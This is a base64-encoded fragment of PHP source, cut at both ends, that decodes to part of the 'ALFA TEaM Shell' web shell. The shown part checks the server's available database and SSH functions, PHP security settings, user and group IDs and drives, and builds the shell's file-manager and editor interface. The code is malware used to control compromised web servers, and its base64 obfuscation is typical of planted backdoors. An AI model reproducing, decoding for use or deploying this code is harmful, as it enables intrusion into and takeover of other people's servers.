dKSkNCiRfUE9TVFsnY2hhcnNldCddID0gJEdMT0JBTFNbJ2RlZmF1bHRfY2hhcnNldCddOw0KJGZyZWVTcGFjZSA9IGZ1bmN0aW9uX2V4aXN0cygnZGlza2ZyZWVzcGFjZScpP0BkaXNrZnJlZXNwYWNlKCRHTE9CQUxTWydjd2QnXSk6Jz8nOw0KJHRvdGFsU3BhY2UgPSBmdW5jdGlvbl9leGlzdHMoJ2Rpc2tfdG90YWxfc3BhY2UnKT9AZGlza190b3RhbF9zcGFjZSgkR0xPQkFMU1snY3dkJ10pOic/JzsNCiR0b3RhbFNwYWNlID0gJHRvdGFsU3BhY2U/JHRvdGFsU3BhY2U6MTsNCiRvbj0iPHNwYW4gY2xhc3M9J2hlYWRlcl9vbic+IE9OIDwvc3Bhbj4iOw0KJG9mPSI8c3BhbiBjbGFzcz0naGVhZGVyX29mZic+IE9GRiA8L3NwYW4+IjsNCiRub25lPSI8c3BhbiBjbGFzcz0naGVhZGVyX25vbmUnPiBOT05FIDwvc3Bhbj4iOw0KaWYoZnVuY3Rpb25fZXhpc3RzKCdzc2gyX2Nvbm5lY3QnKSkNCiRzc2gyPSRvbjsNCmVsc2UNCiRzc2gyPSRvZjsNCmlmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJykpDQokY3VybD0kb247DQplbHNlDQokY3VybD0kb2Y7DQppZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX2dldF9jbGllbnRfaW5mbycpKQ0KJG15c3FsPSRvbjsNCmVsc2UNCiRteXNxbD0kb2Y7DQppZihmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkNCiRtc3NxbD0kb247DQplbHNlDQokbXNzcWw9JG9mOw0KaWYoZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpDQokcGc9JG9uOw0KZWxzZQ0KJHBnPSRvZjsNCmlmKGZ1bmN0aW9uX2V4aXN0cygnb2NpX2Nvbm5lY3QnKSkNCiRvcj0kb247DQplbHNlDQokb3I9JG9mOw0KaWYoQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJykpDQokZGlzZnVuPUBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOw0KZWxzZQ0KJGRpc2Z1bj0iQWxsIEZ1bmN0aW9ucyBFbmFibGUiOw0KaWYoQGluaV9nZXQoJ3NhZmVfbW9kZScpKQ0KJHNhZmVfbW9kZXM9IjxzcGFuIGNsYXNzPSdoZWFkZXJfb2ZmJz5PTjwvc3Bhbj4iOw0KZWxzZQ0KJHNhZmVfbW9kZXM9IjxzcGFuIGNsYXNzPSdoZWFkZXJfb24nPk9GRjwvc3Bhbj4iOw0KJGNnaV9zaGVsbD0iPHNwYW4gY2xhc3M9J2hlYWRlcl9vZmYnIGlkPSdoZWFkZXJfY2dpc2hlbGwnPk9GRjwvc3Bhbj4iOw0KaWYoQGluaV9nZXQoJ29wZW5fYmFzZWRpcicpKXsNCiRiYXNlZGlyX2RhdGEgPSBAaW5pX2dldCgnb3Blbl9iYXNlZGlyJyk7DQppZihzdHJsZW4oJGJhc2VkaXJfZGF0YSk+MTIwKXsNCiRvcGVuX2I9c3Vic3RyKCRiYXNlZGlyX2RhdGEsMCwgMTIwKS4iLi4uIjsNCn1lbHNlew0KJG9wZW5fYiA9ICRiYXNlZGlyX2RhdGE7DQp9DQp9ZWxzZXskb3Blbl9iPSRub25lO30NCmlmKEBpbmlfZ2V0KCdzYWZlX21vZGVfZXhlY19kaXInKSkNCiRzYWZlX2V4ZT1AaW5pX2dldCgnc2FmZV9tb2RlX2V4ZWNfZGlyJyk7DQplbHNlDQokc2FmZV9leGU9JG5vbmU7DQppZihAaW5pX2dldCgnc2FmZV9tb2RlX2luY2x1ZGVfZGlyJykpDQokc2FmZV9pbmNsdWRlPUBpbmlfZ2V0KCdzYWZlX21vZGVfaW5jbHVkZV9kaXInKTsNCmVsc2UNCiRzYWZlX2luY2x1ZGU9JG5vbmU7DQppZighZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpDQp7DQokdXNlciA9IGZ1bmN0aW9uX2V4aXN0cygiZ2V0X2N1cnJlbnRfdXNlciIpP0BnZXRfY3VycmVudF91c2VyKCk6Ij8/Pz8iOw0KJHVpZCA9IGZ1bmN0aW9uX2V4aXN0cygiZ2V0bXl1aWQiKT9AZ2V0bXl1aWQoKToiPz8/PyI7DQokZ2lkID0gZnVuY3Rpb25fZXhpc3RzKCJnZXRteWdpZCIpP0BnZXRteWdpZCgpOiI/Pz8/IjsNCiRncm91cCA9ICI/IjsNCn1lbHNlew0KJHVpZCA9IGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSYmZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRldWlkIik/QHBvc2l4X2dldHB3dWlkKHBvc2l4X2dldGV1aWQoKSk6YXJyYXkoIm5hbWUiPT4iPz8/PyIsICJ1aWQiPT4iPz8/PyIpOw0KJGdpZCA9IGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSYmZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRlZ2lkIik/QHBvc2l4X2dldGdyZ2lkKHBvc2l4X2dldGVnaWQoKSk6YXJyYXkoIm5hbWUiPT4iPz8/PyIsICJnaWQiPT4iPz8/PyIpOw0KJHVzZXIgPSAkdWlkWyduYW1lJ107DQokdWlkID0gJHVpZFsndWlkJ107DQokZ3JvdXAgPSAkZ2lkWyduYW1lJ107DQokZ2lkID0gJGdpZFsnZ2lkJ107DQp9DQokY3dkX2xpbmtzID0gJyc7DQokcGF0aCA9IGV4cGxvZGUoIi8iLCAkR0xPQkFMU1snY3dkJ10pOw0KJG49Y291bnQoJHBhdGgpOw0KZm9yKCRpPTA7ICRpPCRuLTE7ICRpKyspIHsNCiRjd2RfbGlua3MgLj0gIjxhIGNsYXNzPSdoZWFkZXJfcHdkJyBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixcIiI7DQpmb3IoJGo9MDsgJGo8PSRpOyAkaisrKQ0KJGN3ZF9saW5rcyAuPSAkcGF0aFskal0uJy8nOw0KJGN3ZF9saW5rcyAuPSAiXCIpJz4iLiRwYXRoWyRpXS4iLzwvYT4iOw0KfQ0KJGRyaXZlcyA9ICIiOw0KZm9yZWFjaChyYW5nZSgnYScsJ3onKSBhcyAkZHJpdmUpDQppZihAaXNfZGlyKCRkcml2ZS4nOlxcJykpDQokZHJpdmVzIC49ICc8YSBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBjbGFzcz0iaGVhZGVyX2RyaXZlIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuJGRyaXZlLic6L1wnKSI+WyAnLiRkcml2ZS4nIF08L2E+ICc7DQokY3NzY29kZSA9JwktbW96LWFuaW1hdGlvbi1uYW1lOiBzcGluOy1tb3otYW5pbWF0aW9uLWl0ZXJhdGlvbi1jb3VudDogaW5maW5pdGU7LW1vei1hbmltYXRpb24tdGltaW5nLWZ1bmN0aW9uOiBsaW5lYXI7LW1vei1hbmltYXRpb24tZHVyYXRpb246IDFzOy13ZWJraXQtYW5pbWF0aW9uLW5hbWU6IHNwaW47LXdlYmtpdC1hbmltYXRpb24taXRlcmF0aW9uLWNvdW50OiBpbmZpbml0ZTstd2Via2l0LWFuaW1hdGlvbi10aW1pbmctZnVuY3Rpb246IGxpbmVhcjstd2Via2l0LWFuaW1hdGlvbi1kdXJhdGlvbjogMXM7LW1zLWFuaW1hdGlvbi1uYW1lOiBzcGluOy1tcy1hbmltYXRpb24taXRlcmF0aW9uLWNvdW50OiBpbmZpbml0ZTstbXMtYW5pbWF0aW9uLXRpbWluZy1mdW5jdGlvbjogbGluZWFyOy1tcy1hbmltYXRpb24tZHVyYXRpb246IDFzO2FuaW1hdGlvbi1uYW1lOiBzcGluO2FuaW1hdGlvbi1pdGVyYXRpb24tY291bnQ6IGluZmluaXRlO2FuaW1hdGlvbi10aW1pbmctZnVuY3Rpb246IGxpbmVhcjthbmltYXRpb24tZHVyYXRpb246IDFzOyc7DQplY2hvICc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+DQo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAvPg0KPG1ldGEgbmFtZT0iUk9CT1RTIiBjb250ZW50PSJOT0lOREVYLCBOT0ZPTExPVyIgLz4NCjxsaW5rIGhyZWY9IicuX19zaG93aWNvbignYWxmYW1pbmknKS4nIiByZWw9Imljb24iIHR5cGU9ImltYWdlL3gtaWNvbiIvPg0KPHRpdGxlPi4uOjogJy4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJyB+IEFMRkEgVEVhTSBTaGVsbCAtIHYnLl9fQUxGQV9WRVJTSU9OX18uJyA6Oi4uPC90aXRsZT4NCjxsaW5rIGhyZWY9Imh0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1GcmFuY29pcytPbmUiIHJlbD0ic3R5bGVzaGVldCI+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLmhsYWJhbGUgew0KICAgIGNvbG9yOiAjNjdBQkRGOw0KICAgIGJvcmRlci1yYWRpdXM6IDRweDsNCiAgICBib3JkZXI6IDFweCBzb2xpZCAjMjc5NzlCOw0KICAgIG1hcmdpbi1sZWZ0OiA3cHg7DQogICAgcGFkZGluZzogMnB4Ow0KfQ0KI3RibF9zeW1wcGhwIHRyIHsNCgl0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQouZWRpdG9yLXZpZXcgew0KCXBvc2l0aW9uOiByZWxhdGl2ZTsNCn0NCi52aWV3LWNvbnRlbnQgew0KCXBvc2l0aW9uOiBhYnNvbHV0ZTsNCglvdmVyZmxvdy15OiBhdXRvOw0KCXdpZHRoOiAxMDAlOw0KCWhlaWdodDogNDc1cHg7DQp9DQoqOjotd2Via2l0LXNjcm9sbGJhci10cmFjayB7DQoJLXdlYmtpdC1ib3gtc2hhZG93OiBpbnNldCAwIDAgNnB4IHJnYmEoMCwwLDAsMC4zKTsNCglib3JkZXItcmFkaXVzOiAxMHB4Ow0KCWJhY2tncm91bmQtY29sb3I6ICMwMDAxMTU7DQp9DQoqOjotd2Via2l0LXNjcm9sbGJhcnsNCgl3aWR0aDogMTBweDsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMTE1Ow0KfQ0KKjo6LXdlYmtpdC1zY3JvbGxiYXItdGh1bWIgew0KCWJvcmRlci1yYWRpdXM6IDEwcHg7DQoJLXdlYmtpdC1ib3gtc2hhZG93OiBpbnNldCAwIDAgNnB4IHJnYmEoMCwwLDAsLjMpOw0KCWJhY2tncm91bmQtY29sb3I6IHJnYigzMCwgMTMwLCAxODEpOw0KfQ0KLmVkaXRvci1maWxlLW5hbWUgew0KCW1hcmdpbi1sZWZ0OiAyOXB4Ow0KCW1hcmdpbi10b3A6IDRweDsNCglvdmVyZmxvdzogaGlkZGVuOw0KICAgIHRleHQtb3ZlcmZsb3c6IGVsbGlwc2lzOw0KICAgIHdoaXRlLXNwYWNlOiBub3dyYXA7DQp9DQouZWRpdG9yLWljb24gew0KCXBvc2l0aW9uOiBhYnNvbHV0ZTsNCn0NCi5pc19hY3RpdmUgew0KCWJhY2tncm91bmQ6IHJnYmEoNDksIDU1LCA5MywgMC43Nyk7DQoJYm9yZGVyLXJhZGl1czogMTBweDsNCn0NCi5oaXN0b3J5LWxpc3Qgew0KCWhlaWdodDogODglOw0KCW92ZXJmbG93LXk6IGF1dG87DQp9DQojZWRpdG9yLW1pbmltaXplZCwjY2dpbG9hZGVyLW1pbmltaXplZCB7DQoJZGlzcGxheTogYmxvY2s7DQoJcG9zaXRpb246IGZpeGVkOw0KCXJpZ2h0OiAtMzBweDsNCgl3aWR0aDogMzBweDsNCgloZWlnaHQ6IDMwcHg7DQoJdG9wOiAzMCU7DQp9DQoubWluaW1pemVkLXdyYXBwZXIgew0KCXBvc2l0aW9uOiByZWxhdGl2ZTsNCgliYWNrZ3JvdW5kOiByZ2IoMTQsIDQ4LCA3NCk7DQogICAgd2lkdGg6IDQ0cHg7DQogICAgaGVpZ2h0OiAxNjdweDsNCgljdXJzb3I6IHBvaW50ZXI7DQoJYm9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogNXB4Ow0KCWJvcmRlci10b3AtbGVmdC1yYWRpdXM6IDVweDsNCn0NCi5taW5pbWl6ZWQtdGV4dCB7DQogICAgdHJhbnNmb3JtOiByb3RhdGUoLTkwZGVnKTsNCiAgICBjb2xvcjogd2hlYXQ7DQogICAgZm9udC1zaXplOiB4LWxhcmdlOw0KICAgIGRpc3BsYXk6IGlubGluZS1ibG9jazsNCiAgICBwb3NpdGlvbjogYWJzb2x1dGU7DQogICAgcmlnaHQ6IC01MXB4Ow0KICAgIHdpZHRoOiAxMjlweDsNCiAgICB0b3A6IDUwcHg7DQogICAgYm9yZGVyLXRvcC1sZWZ0LXJhZGl1czogNCU7DQogICAgaGVpZ2h0OiA1NnB4Ow0KICAgIHBhZGRpbmc6IDNweA0KfQ0KLmNsb3NlLWJ1dHRvbiwuZWRpdG9yLW1pbmltaXplIHsNCgloZWlnaHQ6IDI2cHg7DQogICAgd2lkdGg6IDM4cHg7DQogICAgcmlnaHQ6IDdweDsNCiAgICBiYWNrZ3JvdW5kOiByZ2IoMjksIDg2LCAxMTUpOw0KICAgIGN1cnNvcjogcG9pbnRlcjsNCiAgICBwb3NpdGlvbjogYWJzb2x1dGU7DQogICAgYm94LXNpemluZzogYm9yZGVyLWJveDsNCiAgICBsaW5lLWhlaWdodDogNTBweDsNCiAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7DQogICAgdG9wOiAxN3B4Ow0KICAgIGJvcmRlci1yYWRpdXM6IDEwMHB4Ow0KfQ0KLmVkaXRvci1taW5pbWl6ZSB7cmlnaHQ6IDUwcHg7fQ0KLmNsb3NlLWJ1dHRvbjpiZWZvcmUsLmNsb3NlLWJ1dHRvbjphZnRlciwuZWRpdG9yLW1pbmltaXplOmJlZm9yZSB7DQoJdHJhbnNmb3JtOiByb3RhdGUoLTQ1ZGVnKTsNCiAgICBjb250ZW50OiAiIjsNCiAgICBwb3NpdGlvbjogYWJzb2x1dGU7DQogICAgdG9wOiA2MyU7DQogICAgcmlnaHQ6IDZweDsNCiAgICBtYXJnaW4tdG9wOiAtNXB4Ow0KICAgIG1hcmdpbi1sZWZ0OiAtMjVweDsNCiAgICBkaXNwbGF5OiBibG9jazsNCiAgICBoZWlnaHQ6IDRweDsNCiAgICB3aWR0aDogMjdweDsNCiAgICBiYWNrZ3JvdW5kLWNvbG9yOiByZ2JhKDIxNiwgMjA3LCAyMDcsIDAuNzUpOw0KICAgIHRyYW5zaXRpb246IGFsbCAwLjI1cyBlYXNlLW91dDsNCn0NCi5lZGl0b3ItbWluaW1pemU6YmVmb3Jlew0KCXRyYW5zZm9ybTogcm90YXRlKDBkZWcpOw0KfQ0KLmNsb3NlLWJ1dHRvbjphZnRlciB7DQogIHRyYW5zZm9ybTogcm90YXRlKC0xMzVkZWcpOw0KfQ0KLmNsb3NlLWJ1dHRvbjpob3ZlcjpiZWZvcmUsLmNsb3NlLWJ1dHRvbjpob3ZlcjphZnRlciwuZWRpdG9yLW1pbmltaXplOmhvdmVyOmJlZm9yZXsNCgliYWNrZ3JvdW5kLWNvbG9yOiByZWQ7DQp9DQouY2xvc2UtYnV0dG9uOmhvdmVyLC5lZGl0b3ItbWluaW1pemU6aG92ZXJ7DQoJYmFja2dyb3VuZC1jb2xvcjogcmdiYSgzOSwgNjYsIDgwLCAwLjk2KTsNCn0NCiNlZGl0b3IsI2NnaWxvYWRlciB7DQoJZGlzcGxheTogbm9uZTsNCglwb3NpdGlvbjogZml4ZWQ7DQogICAgdG9wOiAwOw0KCXdpZHRoOiAxMDAlOw0KCWhlaWdodDogMTAwJTsNCn0NCi5lZGl0b3Itd3JhcHBlciB7DQoJd2lkdGg6IDEwMCU7DQogICAgaGVpZ2h0OiAxMDAlOw0KICAgIHBvc2l0aW9uOiByZWxhdGl2ZTsNCiAgICB0b3A6IDElOw0KfQ0KLmVkaXRvci1oZWFkZXIgew0KCXdpZHRoOiA5NyU7DQogICAgYmFja2dyb3VuZDogcmdiYSgyMSwgNjYsIDg4LCAwLjkzKTsNCiAgICBoZWlnaHQ6IDM3cHg7DQogICAgbWFyZ2luLWxlZnQ6IDEzcHg7DQogICAgcG9zaXRpb246IHJlbGF0aXZlOw0KCWJvcmRlci10b3AtbGVmdC1yYWRpdXM6IDE1cHg7DQoJYm9yZGVyLXRvcC1yaWdodC1yYWRpdXM6IDE1cHg7DQp9DQouZWRpdG9yLXBhdGggew0KCXBvc2l0aW9uOiBhYnNvbHV0ZTsNCiAgICBmb250LXNpemU6IHgtbGFyZ2U7DQogICAgbWFyZ2luLWxlZnQ6IDEwcHg7DQogICAgdG9wOiA2cHg7DQogICAgY29sb3I6IHNwcmluZ2dyZWVuOw0KfQ0KLmVkaXRvci1tb2RhbCB7DQogICAgcG9zaXRpb246IHJlbGF0aXZlOw0KICAgIHRvcDogMDsNCiAgICBiYWNrZ3JvdW5kLWNvbG9yOiByZ2JhKDAsIDEsIDIzLCAwLjk1KTsNCiAgICBoZWlnaHQ6IDkwJTsNCiAgICBtYXJnaW4tbGVmdDogMjAlOw0KICAgIG1hcmdpbi1yaWdodDogMiU7DQogICAgYm9yZGVyOiAycHggIzBlMzA0YSBzb2xpZDsNCn0NCi5lZGl0b3ItZXhwbG9yZXIgew0KICAgIHdpZHRoOiAxOSU7DQogICAgaGVpZ2h0OiA5MCU7DQogICAgYmFja2dyb3VuZC1jb2xvcjogcmdiYSgwLCAxLCAyMywgMC45NCk7DQogICAgcG9zaXRpb246IGFic29sdXRlOw0KICAgIHotaW5kZXg6IDI7DQogICAgbGVmdDogMSU7DQogICAgYm9yZGVyOiAycHggcmdiKDE0LCA0OCwgNzQpIHNvbGlkOw0KfQ0KLmVkaXRvci1jb250cm9sbGVyIHsNCglwb3NpdGlvbjogcmVsYXRpdmU7DQoJdG9wOiAtMTNweDsNCn0NCi5maWxlLWhvbGRlciB7DQoJcG9zaXRpb246IHJlbGF0aXZlOw0KICAgIHdpZHRoOiAxMDAlOw0KICAgIGhlaWdodDogMzBweDsNCn0NCi5maWxlLWhvbGRlciA+IC5oaXN0b3J5IHsNCglwb3NpdGlvbjogYWJzb2x1dGU7DQogICAgY29sb3I6IHJnYigzLCAxNzksIDE2Myk7DQogICAgY3Vyc29yOiBwb2ludGVyOw0KCWxlZnQ6NXB4Ow0KICAgIGZvbnQtc2l6ZTogMThweDsNCiAgICBmb250LWZhbWlseTogc2Fucy1zZXJpZjsNCgl3aWR0aDo4OSU7DQoJaGVpZ2h0OjEwMCU7DQoJei1pbmRleDogMzsNCglib3JkZXItcmFkaXVzOiAxMHB4Ow0KCXRyYW5zaXRpb246IGJhY2tncm91bmQtY29sb3IgNjAwbXMgZWFzZS1vdXQ7DQp9DQouZmlsZS1ob2xkZXIgPiAuaGlzdG9yeS1jbG9zZSB7DQoJZGlzcGxheTogYmxvY2s7DQogICAgb3BhY2l0eTogMDsNCiAgICBwb3NpdGlvbjogYWJzb2x1dGU7DQogICAgcmlnaHQ6IDJweDsNCiAgICB3aWR0aDogMjBweDsNCiAgICB0b3A6IDRweDsNCiAgICB0ZXh0LWFsaWduOiBjZW50ZXI7DQogICAgY3Vyc29yOiBwb2ludGVyOw0KICAgIGNvbG9yOiB3aGl0ZTsNCiAgICBiYWNrZ3JvdW5kOiByZWQ7DQogICAgYm9yZGVyLXJhZGl1czogMTAwcHg7DQogICAgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsNCiAgICB6LWluZGV4OiAxMDsNCiAgICB0cmFuc2l0aW9uOiBvcGFjaXR5IDYwMG1zIGVhc2Utb3V0Ow0KICAgIGZvbnQtc2l6ZTogMTVweDsNCiAgICBoZWlnaHQ6IDE5cHg7DQp9DQouZmlsZS1ob2xkZXIgPiAuaGlzdG9yeTpob3ZlciB7DQoJYmFja2dyb3VuZC1jb2xvcjogIzY0NjQ2NDsNCn0NCi5lZGl0b3ItZXhwbG9yZXIgPiAuaGhlYWRlciB7DQoJcG9zaXRpb246IHJlbGF0aXZlOw0KICAgIGNvbG9yOiByZ2IoMjAsIDI1NSwgNyk7DQogICAgYm9yZGVyLWJvdHRvbTogMnB4IHJnYigzMiwgMTA2LCAxNjIpIHNvbGlkOw0KICAgIHRleHQtYWxpZ246IGNlbnRlcjsNCiAgICBmb250LWZhbWlseTogc2Fucy1zZXJpZjsNCiAgICBtYXJnaW4tYm90dG9tOiAxMHB4Ow0KCWhlaWdodDogNTVweDsNCn0NCi5lZGl0b3Itc2VhcmNoIHsNCglwb3NpdGlvbjogYWJzb2x1dGU7DQogICAgYm90dG9tOiA3cHg7DQogICAgbGVmdDogMzFweDsNCn0NCi5oaGVhZGVyLXRleHQgew0KCXBvc2l0aW9uOiBhYnNvbHV0ZTsNCiAgICBsZWZ0OiA4cHg7DQogICAgdG9wOiAycHg7DQp9DQouaGlzdG9yeS1jbGVhciB7DQoJcG9zaXRpb246IGFic29sdXRlOw0KICAgIHJpZ2h0OiA4cHg7DQogICAgdG9wOiAycHg7DQogICAgY3Vyc29yOiBwb2ludGVyOw0KfQ0KLmVkaXRvci1ib2R5IHsNCglwb3NpdGlvbjogcmVsYXRpdmU7DQoJbWFyZ2luLWxlZnQ6IDNweDsNCn0NCi5lZGl0b3ItYW5pbS1jbG9zZSB7DQoJJy5zaG93QW5pbWF0aW9uKCJlZGl0b3JDbG9zZSIpLicNCn0NCkBrZXlmcmFtZXMgZWRpdG9yQ2xvc2Ugew0KCTAlIHsNCgkJdHJhbnNmb3JtOiBzY2FsZSgxKTsNCgkJb3BhY2l0eTogMTsNCgl9DQoJMTAwJSB7DQoJCXRyYW5zZm9ybTogc2NhbGUoMCk7DQoJCW9wYWNpdHk6IDA7DQoJfQ0KfQ0KLmVkaXRvci1hbmltLW1pbmltaXplIHsNCgknLnNob3dBbmltYXRpb24oImVkaXRvck1pbmltaXplIikuJw0KfQ0KQGtleWZyYW1lcyBlZGl0b3JNaW5pbWl6ZSB7DQoJMCUgew0KCQlyaWdodDowcHg7DQoJCW9wYWNpdHk6IDE7DQoJfQ0KCTEwMCUgew0KCQlyaWdodDogLTIwMDBweDsNCgkJb3BhY2l0eTogMDsNCgl9DQp9DQouZWRpdG9yLWFuaW0tc2hvdyB7DQoJJy5zaG93QW5pbWF0aW9uKCJlZGl0b3JTaG93IikuJw0KfQ0KQGtleWZyYW1lcyBlZGl0b3JTaG93IHsNCgkwJSB7DQoJCXJpZ2h0Oi0yMDAwcHg7DQoJCW9wYWNpdHk6IDA7DQoJfQ0KCTEwMCUgew0KCQlyaWdodDogMHB4Ow0KCQlvcGFjaXR5OiAxOw0KCX0NCn0NCi5taW5pbWl6ZWQtc2hvdyB7DQoJJy5zaG93QW5pbWF0aW9uKCJtaW5pbWl6ZVNob3ciKS4nDQp9DQpAa2V5ZnJhbWVzIG1pbmltaXplU2hvdyB7DQoJMCUgew0KCQlyaWdodDogLTMwcHg7DQoJCW9wYWNpdHk6IDA7DQoJfQ0KCTEwMCUgew0KCQlyaWdodDogMHB4Ow0KCQlvcGFjaXR5OiAxOw0KCX0NCn0NCi5taW5pbWl6ZWQtaGlkZSB7DQoJJy5zaG93QW5pbWF0aW9uKCJtaW5pbWl6ZUhpZGUiKS4nDQp9DQpAa2V5ZnJhbWVzIG1pbmltaXplSGlkZSB7DQoJMCUgew0KCQlyaWdodDogMHB4Ow0KCQlvcGFjaXR5OiAxOw0KCX0NCgkxMDAlIHsNCgkJcmlnaHQ6IC0zMHB4Ow0KCQlvcGFjaXR5OiAwOw0KCX0NCn0NCi5zb2xldmlzaWJsZS10ZXh0OmhvdmVyIHsNCgktd2Via2l0LXRleHQtc2hhZG93OiAwcHggMHB4IDI1cHggIzAwRkYwMDsNCgktbW96LXRleHQtc2hhZG93OiAwcHggMHB4IDI1cHggIzAwRkYwMDsNCgktbXMtdGV4dC1zaGFkb3c6IDBweCAwcHggMjVweCAjMDBGRjAwOw0KCXRleHQtc2hhZG93OiAwcHggMHB4IDI1cHggIzAwRkYwMDsNCn0NCi51cGRhdGUtaG9sZGVyIHsNCiAgICBwb3NpdGlvbjogZml4ZWQ7DQogICAgdG9wOiAwOw0KICAgIGJhY2tncm91bmQtY29sb3I6IHJnYmEoMCwgMjQsIDI5LCAwLjcyKTsNCiAgICB3aWR0aDogMTAwJTsNCiAgICBoZWlnaHQ6IDEwMCU7DQp9DQoudXBkYXRlLXBhcnRuZXIgew0KICAgIHdpZHRoOiA1MCU7DQogICAgcG9zaXRpb246IHJlbGF0aXZlOw0KICAgIGJvcmRlci1yYWRpdXM6IDMxcHg7DQogICAgaGVpZ2h0OiAyMDBweDsNCiAgICBiYWNrZ3JvdW5kLWNvbG9yOiByZ2JhKDMsIDMsIDQxLCAwLjQ3KTsNCiAgICB0ZXh0LWFsaWduOiBjZW50ZXI7DQogICAgY29sb3I6IHJnYmEoMjUyLCAyNTMsIDI1MSwgMC44OCk7DQogICAgbWFyZ2luLWxlZnQ6IDI1JTsNCiAgICB0b3A6IDIzJTsNCiAgICBmb250LWZhbWlseTogIkZyYW5jb2lzIE9uZSIsIHNhbnMtc2VyaWY7DQp9DQoudXBkYXRlLXBhcnRuZXI6aG92ZXIgew0KLXdlYmtpdC1ib3gtc2hhZG93OiBpbnNldCAwcHggMHB4IDk5cHggOXB4IHJnYmEoMTEsMTUsNDEsMSk7DQotbW96LWJveC1zaGFkb3c6IGluc2V0IDBweCAwcHggOTlweCA5cHggcmdiYSgxMSwxNSw0MSwxKTsNCmJveC1zaGFkb3c6IGluc2V0IDBweCAwcHggOTlweCA5cHggcmdiYSgxMSwxNSw0MSwxKTsNCn0NCi51cGRhdGUtY29udGVudCB7DQoJcG9zaXRpb246IHJlbGF0aXZlOw0KfQ0KLnVwZGF0ZS1jb250ZW50ID4gYSB7DQogICAgdGV4dC1kZWNvcmF0aW9uOiBub25lOw0KICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTsNCiAgICBjb2xvcjogcmdiYSgxMDMsIDE2NywgNDcsIDAuNzcpOw0KICAgIGxlZnQ6IDI0JTsNCiAgICBtYXJnaW4tdG9wOiA3JTsNCiAgICBmb250LXNpemU6IDQwcHg7DQogICAgZm9udC1mYW1pbHk6ICJGcmFuY29pcyBPbmUiLCBzYW5zLXNlcmlmOw0KfQ0KLnVwZGF0ZS1jbG9zZSB7DQoJcG9zaXRpb246IGFic29sdXRlOw0KICAgIHJpZ2h0OiAwOw0KICAgIG1hcmdpbi1yaWdodDogMjNweDsNCiAgICB0b3A6IDEwcHg7DQogICAgZm9udC1zaXplOiAyN3B4Ow0KICAgIGJhY2tncm91bmQtY29sb3I6ICMxMzBmNTA7DQogICAgd2lkdGg6IDUlOw0KICAgIGJvcmRlci1yYWRpdXM6IDEwMHB4Ow0KICAgIGN1cnNvcjogcG9pbnRlcjsNCiAgICBib3JkZXI6IDJweCByZ2IoMTQsIDM4LCA5MCkgc29saWQ7DQp9DQoudXBkYXRlLWNsb3NlOmhvdmVyIHsNCglib3JkZXI6IDJweCAjMjVmZjAwIHNvbGlkOw0KICAgIGNvbG9yOiAjRkYwMDAwOw0KfQ0KLmZpbGVzdG9vbHMgew0KICAgIGhlaWdodDogYXV0bzsNCiAgICB3aWR0aDogYXV0bzsNCiAgICBjb2xvcjogIzY3QUJERjsNCiAgICBmb250LXNpemU6IDEycHg7DQogICAgZm9udC1mYW1pbHk6IFZlcmRhbmEsR2VuZXZhLHNhbnMtc2VyaWY7DQp9DQpALW1vei1kb2N1bWVudCB1cmwtcHJlZml4KCkgew0KCSNzZWFyY2gtaW5wdXQgew0KCQl3aWR0aDogMTczcHg7DQoJfQ0KCS5lZGl0b3ItcGF0aCB7DQoJCXRvcDozcHg7DQoJfQ0KfQ0KQGtleWZyYW1lcyBzcGluIHtmcm9tIHt0cmFuc2Zvcm06IHJvdGF0ZSgwZGVnKTt9dG97dHJhbnNmb3JtOiByb3RhdGUoMzYwZGVnKTt9fQ0KQC13ZWJraXQta2V5ZnJhbWVzIHNwaW4ge2Zyb20gey13ZWJraXQtdHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7fXRvIHstd2Via2l0LXRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7fX0NCkAtbW96LWtleWZyYW1lcyBzcGluIHtmcm9tIHstbW96LXRyYW5zZm9ybTogcm90YXRlKDBkZWcpO310byB7LW1vei10cmFuc2Zvcm06IHJvdGF0ZSgzNjBkZWcpO319DQpALW1zLWtleWZyYW1lcyBzcGluIHtmcm9tIHstbXMtdHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7fXRvIHstbXMtdHJhbnNmb3JtOiByb3RhdGUoMzYwZGVnKTt9fQ0KI2FsZmFsb2FkZXJ7Jy4kY3NzY29kZS4nd2lkdGg6MTAwcHg7aGVpZ2h0OjEwMHB4O30NCiNhX2xvYWRlcnsnL